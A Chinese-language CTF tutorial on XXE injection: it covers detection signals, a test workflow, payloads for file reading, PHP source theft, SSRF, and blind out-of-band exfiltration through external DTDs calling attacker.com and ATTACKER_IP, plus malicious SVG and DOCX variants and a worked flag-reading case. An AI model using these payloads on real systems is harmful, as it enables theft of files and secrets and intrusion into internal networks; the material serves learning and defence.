XXE基础
XXE基础
本文适合
CTF Web安全 入门学习者。学完你能:判断 XML 解析入口是否存在 XXE,完成回显/盲 XXE 验证,并把漏洞推进到文件读取或 SSRF
XXE 是 XML External Entity,XML 外部实体注入。它发生在 XML 解析器允许解析攻击者控制的外部实体,从而读取文件、发起请求或造成其他副作用。
一句话判断
只要接口、上传文件或业务协议会解析攻击者可控 XML,并且解析器允许 DTD 或外部实体,就要怀疑 XXE。
XXE 的重点不是“传了 XML”,而是“解析器是否会解析外部实体”。有回显时看实体内容是否出现在响应里;无回显时看解析器是否向外部 DTD、DNS 或 HTTP 地址发起请求。
题目中常见信号
- 请求体是 XML、SOAP、SAML、RSS、SVG,或
Content-Type可以从 JSON 改成 XML。 - 上传功能接受 SVG、DOCX、XLSX、PPTX、ODT 等内部含 XML 的文件。
- 报错里出现
DOCTYPE is disallowed、External Entity、SAXParseException、libxml、DocumentBuilderFactory。 - 页面会回显 XML 节点内容、解析错误、导入结果或转换后的文档内容。
- 功能描述包含“导入配置”“解析 XML”“文档预览”“SVG 转图片”“企业对接接口”。
- 无回显时,外部 DTD 地址能收到请求,或 DNSLog 出现目标解析记录。
核心概念
XML 实体分为内部实体和外部实体。内部实体只是在 XML 内做文本替换;外部实体会让解析器访问文件系统或网络资源。危险来自解析器把攻击者控制的实体引用解析成 file://、http://、ftp:// 等外部资源。
CTF 里 XXE 通常有三种能力:
- 文件读取:读取
/etc/passwd、源码、配置、环境变量或 flag 文件。 - SSRF:通过外部实体访问内网 HTTP 服务或元数据地址。
- 外带数据:在无回显时借助外部 DTD、HTTP、DNS 或错误信息泄露内容。
是否能利用,取决于解析器是否允许 DTD、是否允许外部实体、是否能联网、是否回显实体内容,以及目标语言支持哪些协议封装器。
最小分析流程
- 确认入口是否真的进入 XML 解析器:改变标签结构、制造轻微语法错误,看响应是否变化。
- 发送最小内部实体,确认 DTD 是否被解析。
- 发送
file:///etc/passwd或平台等价文件,判断是否有回显文件读取。 - 如果没有回显,用外部 DTD 或 DNSLog 验证解析器是否能访问外部网络。
- 如果外部 DTD 可达,构造参数实体外带文件内容;如果文件读取受限,转向 SSRF 访问内网。
- 对上传型入口,解包文档或编辑 SVG,再重新打包上传,观察预览、转换或报错结果。
最小验证示例
先用内部实体确认 DTD 能被解析:
<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY test "xxe_ok">
]>
<root>&test;</root>如果响应中出现 xxe_ok,继续测试文件读取:
curl -i http://target/xml \
-H "Content-Type: application/xml" \
--data-binary @payload.xmlpayload.xml:
<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>如果无回显,换成外部 DTD:
<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % dtd SYSTEM "http://ATTACKER_IP:8000/evil.dtd">
%dtd;
]>
<root>test</root>攻击者 HTTP 日志出现请求,说明盲 XXE 成立。
常见利用 / 解题路线
路线总览:
- 回显文件读取路线:普通实体直接读
/etc/passwd、源码、配置文件、/proc/self/environ。 - PHP 源码读取路线:使用
php://filter/convert.base64-encode/resource=index.php,避免 PHP 文件被解释或过滤。 - 盲 XXE 外带路线:外部 DTD 中用参数实体读取文件,再拼到 HTTP/DNS/FTP 请求里带出。
- 错误信息泄露路线:构造无效文件路径,把文件内容放进错误路径,让解析异常回显数据。
- SSRF 路线:实体指向
http://127.0.0.1、内网服务或云元数据地址,观察响应或外带结果。 - 文档上传路线:修改 SVG、DOCX、XLSX 内部 XML,触发预览、转换、解析流程中的 XXE。
XML 实体是什么
XML 可以定义实体,把一个名字替换成一段内容。
内部实体类似变量替换。
外部实体可以引用文件或 URL。
如果解析器允许外部实体,并且 XML 内容可控,就可能出现 XXE。
常见入口
XXE 常出现在接受 XML 的接口中,例如:
- SOAP。
- 老式 API。
- 文件导入。
- Office 文档解析。
- SVG 上传。
- XML 配置上传。
- 支付、物流、企业系统对接接口。
有些接口表面接受 JSON,但也可能根据 Content-Type 支持 XML。
基础 XXE payload
<!-- 读取本地文件 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root><!-- 盲 XXE:通过外部 DTD 外带数据 -->
<!-- evil.dtd 内容: <!ENTITY % data SYSTEM "file:///etc/passwd"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://attacker.com/?d=%data;'>"> %param1; -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<root>&exfil;</root><!-- 通过 PHP wrapper 读取源码 -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>
<root>&xxe;</root>XXE 能做什么
基础 XXE 可以读取本地文件。
如果有回显,文件内容可能直接出现在响应里。
如果无回显,可以通过外带请求把数据带出。
如果网络可达,XXE 还可能触发 SSRF,访问内网 HTTP 服务。
如果解析器支持特殊协议,影响面会更大。
有回显和盲 XXE
有回显 XXE:实体解析结果显示在响应体中。
盲 XXE:响应里不显示内容,需要通过外部 DTD、DNS、HTTP 外带等方式验证。
CTF 中盲 XXE 经常要求学生理解“解析器是否发起了外部请求”,而不是只看页面文字。
XML 和上传文件
XXE 不一定只在普通请求体里。
很多文档格式本质上包含 XML,例如部分 Office 文档、SVG、配置文件。
如果上传功能会解析这些文件,就可能出现文件上传和 XXE 的组合。
这也是 文件上传基础 和 XXE 的连接点。
防守核心
禁用外部实体解析。
禁用 DTD。
使用安全配置的 XML 解析器。
限制解析器访问文件系统和网络。
不要仅依赖输入黑名单。
更多 Payload 变体
基础文件读取变体
<!-- 读取 Linux 系统文件 -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>
<!-- 读取 Windows 系统文件 -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]>
<root>&xxe;</root>
<!-- 读取当前目录 -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///proc/self/cwd">]>
<root>&xxe;</root>
<!-- 读取 /proc/self/environ 获取环境变量 -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///proc/self/environ">]>
<root>&xxe;</root>PHP 特有 Payload
<!-- Base64 编码读取 PHP 源码(绕过直接输出解析) -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">]>
<root>&xxe;</root>
<!-- 读取 PHAR 归档 -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "phar://uploads/shell.jpg/test.txt">]>
<root>&xxe;</root>
<!-- data:// 协议 -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "data://text/plain;base64,SSBsb3ZlIFBIUAo=">]>
<root>&xxe;</root>Java 特有 Payload
<!-- Java 内部协议 -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com/evil.jar!/resource">]>
<root>&xxe;</root>
<!-- 利用 Java 的 gopher 协议(如果有 URLConnection) -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "gopher://attacker.com/_payload">]>
<root>&xxe;</root>OOB 外带
基于 HTTP 的 OOB
<!-- 攻击者服务器上的 evil.dtd 内容:
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://attacker.com/xxe?d=%data;'>">
%param1;
-->
<!-- 注入 payload -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<root>&exfil;</root>基于 FTP 的 OOB
<!-- evil.dtd 内容:
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://attacker.com:2121/%data;'>">
%param1;
-->基于 DNS 的 OOB
<!-- evil.dtd 内容:
<!ENTITY % data SYSTEM "file:///etc/hostname">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://%data;.attacker.com'>">
%param1;
-->
<!-- DNS 查询会泄露 hostname 信息 -->错误信息外带
<!-- 通过触发解析错误泄露数据 -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;
]>
<root>test</root>
<!-- 如果错误信息中包含文件路径内容,就实现了数据泄露 -->参数实体
参数实体用 % 声明,只能在 DTD 内部使用。这是盲 XXE 的关键技术。
<!-- 参数实体的基本用法 -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % param_entity "param_value">
%param_entity;
]>
<!-- 参数实体嵌套定义(用于 OOB) -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % outer SYSTEM "http://attacker.com/inner.dtd">
%outer;
]>
<root>test</root>
<!-- inner.dtd 内容可以动态生成 -->参数实体的限制
1. 普通实体(不带 %)不能在 DTD 内部引用
2. 参数实体(带 %)只能在 DTD 内部引用
3. 外部参数实体可以在 DTD 内部引用(某些解析器)
4. 不同解析器对参数实体的支持不同SVG 中的 XXE
SVG 文件本质是 XML,上传 SVG 可能触发 XXE。
<!-- 恶意 SVG 文件 -->
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg><!-- 盲 XXE SVG -->
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<svg xmlns="http://www.w3.org/2000/svg">
<text>&exfil;</text>
</svg>DOCX 中的 XXE
DOCX 文件是 ZIP 格式,内部包含多个 XML 文件。解压后可以修改 XML 内容注入 XXE。
# 解压 DOCX
unzip document.docx -d docx_extracted/
# 需要修改的文件:
# word/document.xml - 文档主体
# word/_rels/document.xml.rels - 关系文件
# [Content_Types].xml - 内容类型
# 修改 word/document.xml 添加 XXE
# 在 <w:body> 前插入 DOCTYPE 定义
# 重新打包
cd docx_extracted && zip -r ../evil.docx *其他可利用的文档格式
XLSX - ZIP 格式,内含 XML
PPTX - ZIP 格式,内含 XML
ODT - ZIP 格式,内含 XML
SVG - 纯 XML
RSS/Atom - 纯 XML
XHTML - 纯 XML
SOAP - 纯 XML
SAML - XML 认证协议,XXE 影响极大常见失败原因
- 以为只有
.xml文件才会触发 XXE:SVG、Office、SAML、RSS、SOAP 都可能走 XML 解析。 - 只测外部实体,不测内部实体:先用内部实体确认 DTD 开关,再判断外部访问是否被禁。
- 盲 XXE 没回显就放弃:用外部 DTD、DNSLog、HTTP 日志确认解析器是否发起请求。
- 外带文件内容失败:文件里有换行、冒号、百分号等特殊字符时,DNS 外带会断;换 HTTP/FTP 或读短文件。
file://失败就结束:有些解析器禁文件但允许 HTTP,可转 SSRF;有些 PHP 环境可用php://filter。- 上传 DOCX 后没有触发:确认应用是否真的解析文档 XML,而不是只保存文件;必要时找预览、转换、导入流程。
- 忽略
Content-Type:同一接口可能根据application/xml、text/xml、application/soap+xml走不同解析分支。
迷你案例
题目接口 /api/import 默认接收 JSON,但把 Header 改成 XML 后返回“导入成功”。先发内部实体:
<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY a "hello_xxe">]>
<user><name>&a;</name></user>响应里出现 hello_xxe,说明 DTD 被解析。接着读源码:
<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>
<user><name>&xxe;</name></user>响应返回一段 Base64,解码后发现数据库配置和 flag_path=/flag。最终将实体改成 file:///flag 读取 flag。这个案例的闭环是:Content-Type 切换 -> 内部实体确认 -> 源码读取 -> 配置定位 -> 目标文件读取。